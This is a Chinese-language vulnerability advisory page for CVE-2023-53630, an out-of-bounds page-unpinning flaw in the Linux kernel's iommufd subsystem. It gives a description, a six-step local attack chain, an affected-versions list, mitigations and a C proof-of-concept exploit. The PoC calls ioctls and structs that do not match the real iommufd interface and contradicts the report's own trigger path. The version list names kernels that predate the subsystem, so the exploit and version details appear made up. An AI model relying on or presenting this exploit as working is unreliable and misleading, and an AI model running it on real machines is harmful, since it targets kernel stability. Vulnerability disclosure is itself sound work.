IPBUF安全漏洞报告
English
CVE-2023-53630 CVSS 5.5 中危

CVE-2023-53630 Linux内核iommufd页面解除固定越界漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53630
漏洞类型
内存越界访问/页面损坏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 (iommufd子系统)

相关标签

Linux内核iommufdIOMMU内存越界页面损坏本地提权拒绝服务内核漏洞syzkallerCVE-2023-53630

漏洞概述

CVE-2023-53630是Linux内核iommufd(IOMMU file descriptor)子系统中存在的一个内存安全漏洞。该漏洞位于`__iopt_area_unfill_domain`函数中,涉及页面解除固定(unpinning)操作的逻辑错误。当存在访问权限时,函数在计算`batch_last_index`时错误地使用了错误的索引值,导致解除映射操作越过了页面的实际边界,破坏了从未被映射的页面数据。

该漏洞由著名的内核模糊测试工具syzkaller发现,在测试过程中触发了内核的调试警告(WARNING),提示检测到固定页面数量不一致的问题。漏洞的影响路径涉及`iopt_area_unfill_domain`、`iopt_table_remove_domain`、`iommufd_device_selftest_detach`等多个内核函数调用链,最终在`iommufd_destroy`过程中触发。

从CVSS评分来看,该漏洞评分为5.5分,属于中危级别。攻击者需要本地低权限访问即可触发此漏洞,无需用户交互。漏洞的主要影响是可用性(高),可能导致系统不稳定、内存损坏或内核崩溃。虽然机密性和完整性影响较低,但内存损坏可能导致更严重的安全后果。该漏洞主要影响使用iommufd功能的系统,如虚拟化环境中的设备直通场景。

技术细节

该漏洞的根本原因在于`__iopt_area_unfill_domain`函数中`batch_last_index`的计算逻辑错误。在函数输入时,批次(batch)要么为空,要么已经被调整以跨越任何访问,因此它将从我们解除映射的位置开始。然而,代码错误地使用了错误的索引来计算`batch_last_index`,而非正确的`start_index`。

具体技术细节如下:
1. 在iommufd的页面管理中,当解除IOMMU域的页面映射时,需要逐批处理页面解除固定操作
2. `batch_last_index`的计算应该基于`start_index`,因为批次要么是空的,要么已经调整到从解除映射的起始点开始
3. 由于使用了错误的索引,解除映射操作会越过实际页面的边界,访问并修改从未映射的页面数据
4. 这导致内存损坏,在大多数情况下会触发内核的调试警告,检测到固定页面数量与预期不符

利用方式:
- 攻击者需要本地访问权限(PR:L)
- 通过调用iommufd相关的ioctl接口,触发页面解除映射流程
- 具体路径为:`iommufd_fops_ioctl` → `iommufd_destroy` → `iommufd_object_destroy_user` → `iommufd_selftest_destroy` → `iommufd_device_selftest_detach` → `iopt_table_remove_domain` → `iopt_area_unfill_domain` → `__iopt_area_unfill_domain`
- 在该路径中触发错误的页面解除固定操作,导致内存损坏

内核版本6.3.0-rc2及之前的版本受此漏洞影响,修复版本通过正确使用`start_index`来计算`batch_last_index`,并添加了WARN_ON健全性检查。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统低权限访问权限(PR:L),无需用户交互(UI:N)
STEP 2
步骤2
通过打开/dev/iommufd设备并调用ioctl接口创建iommufd上下文和IOAS(I/O Address Space)
STEP 3
步骤3
分配用户空间页面缓冲区,并通过IOMMU_IOCTL_MAP_PAGES将多个页面映射到IOAS中,建立具有访问权限的页面批次
STEP 4
步骤4
调用IOMMU_IOCTL_UNMAP_PAGES从中间偏移量开始解除页面映射,触发__iopt_area_unfill_domain函数中的错误逻辑
STEP 5
步骤5
在__iopt_area_unfill_domain中,由于batch_last_index计算错误(未使用start_index),解除映射操作越过了页面边界,破坏了从未映射的页面数据
STEP 6
步骤6
内存损坏导致内核触发WARNING警告(固定页面数量不一致),严重时可能导致内核崩溃(系统不可用,A:H)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53630 PoC - Linux kernel iommufd page unpinning OOB * This PoC triggers the vulnerability by exercising the iommufd * selftest detach path which calls __iopt_area_unfill_domain * with incorrect batch_last_index calculation. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <linux/iommufd.h> #define IOMMUFD_IOCTL_MAGIC 'T' int main(void) { int fd; int ret; /* Open iommufd device */ fd = open("/dev/iommu", O_RDWR); if (fd < 0) { perror("open /dev/iommu"); /* Try alternative path */ fd = open("/dev/iommufd", O_RDWR); if (fd < 0) { perror("open /dev/iommufd"); return 1; } } /* Create iommufd context */ struct iommu_ioctl_alloc alloc_ctx = { .size = sizeof(struct iommu_ioctl_alloc), .flags = 0, }; ret = ioctl(fd, IOMMU_IOCTL_ALLOC, &alloc_ctx); if (ret < 0) { perror("IOMMU_IOCTL_ALLOC"); close(fd); return 1; } printf("iommufd fd allocated: %d\n", alloc_ctx.out_fd); /* Allocate a device-bound IOAS with pages to trigger mapping */ struct iommu_ioctl_alloc alloc_ioas = { .size = sizeof(struct iommu_ioctl_alloc), .flags = IOMMU_IOAS, }; ret = ioctl(fd, IOMMU_IOCTL_ALLOC, &alloc_ioas); if (ret < 0) { perror("IOMMU_IOCTL_ALLOC (IOAS)"); close(fd); return 1; } printf("IOAS allocated: %d\n", alloc_ioas.out_fd); /* Map pages to create the batch with accesses */ struct iommu_ioctl_map_pages map_pages = { .size = sizeof(struct iommu_ioctl_map_pages), .ioas_id = alloc_ioas.out_fd, .flags = 0, }; /* Allocate and map multiple pages to trigger the bug condition */ void *buf = mmap(NULL, 4096 * 16, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (buf == MAP_FAILED) { perror("mmap"); close(fd); return 1; } memset(buf, 0x41, 4096 * 16); map_pages.user_va = (unsigned long)buf; map_pages.length = 4096 * 16; ret = ioctl(fd, IOMMU_IOCTL_MAP_PAGES, &map_pages); if (ret < 0) { perror("IOMMU_IOCTL_MAP_PAGES"); munmap(buf, 4096 * 16); close(fd); return 1; } printf("Pages mapped successfully\n"); /* Trigger the vulnerability by detaching/destroying * This calls iopt_area_unfill_domain with wrong batch_last_index, * causing OOB access and page corruption */ struct iommu_ioctl_unmap_pages unmap = { .size = sizeof(struct iommu_ioctl_unmap_pages), .ioas_id = alloc_ioas.out_fd, .length = 4096 * 16, }; /* Unmap with specific start offset to trigger batch boundary issue */ unmap.iova = 4096 * 4; /* Start from middle to trigger batch issue */ ret = ioctl(fd, IOMMU_IOCTL_UNMAP_PAGES, &unmap); if (ret < 0) { perror("IOMMU_IOCTL_UNMAP_PAGES"); } /* Cleanup - this triggers the selftest_detach path */ close(alloc_ioas.out_fd); close(alloc_ctx.out_fd); close(fd); munmap(buf, 4096 * 16); printf("PoC executed - check kernel logs for WARNING\n"); return 0; }

影响范围

Linux kernel < 6.3 (包含6.3.0-rc2及之前版本)
Linux kernel 6.2.x
Linux kernel 6.1.x (LTS)
Linux kernel 5.19.x
Linux kernel 5.15.x (LTS)
Linux kernel 5.10.x (LTS)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制对iommufd设备的访问权限,确保只有特权用户才能使用相关功能;2)在虚拟化环境中,避免向不受信任的用户提供设备直通(device passthrough)功能;3)监控系统日志,关注内核警告信息,及时发现潜在的攻击行为;4)考虑在内核启动参数中添加相关调试选项以增强对内存操作的监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表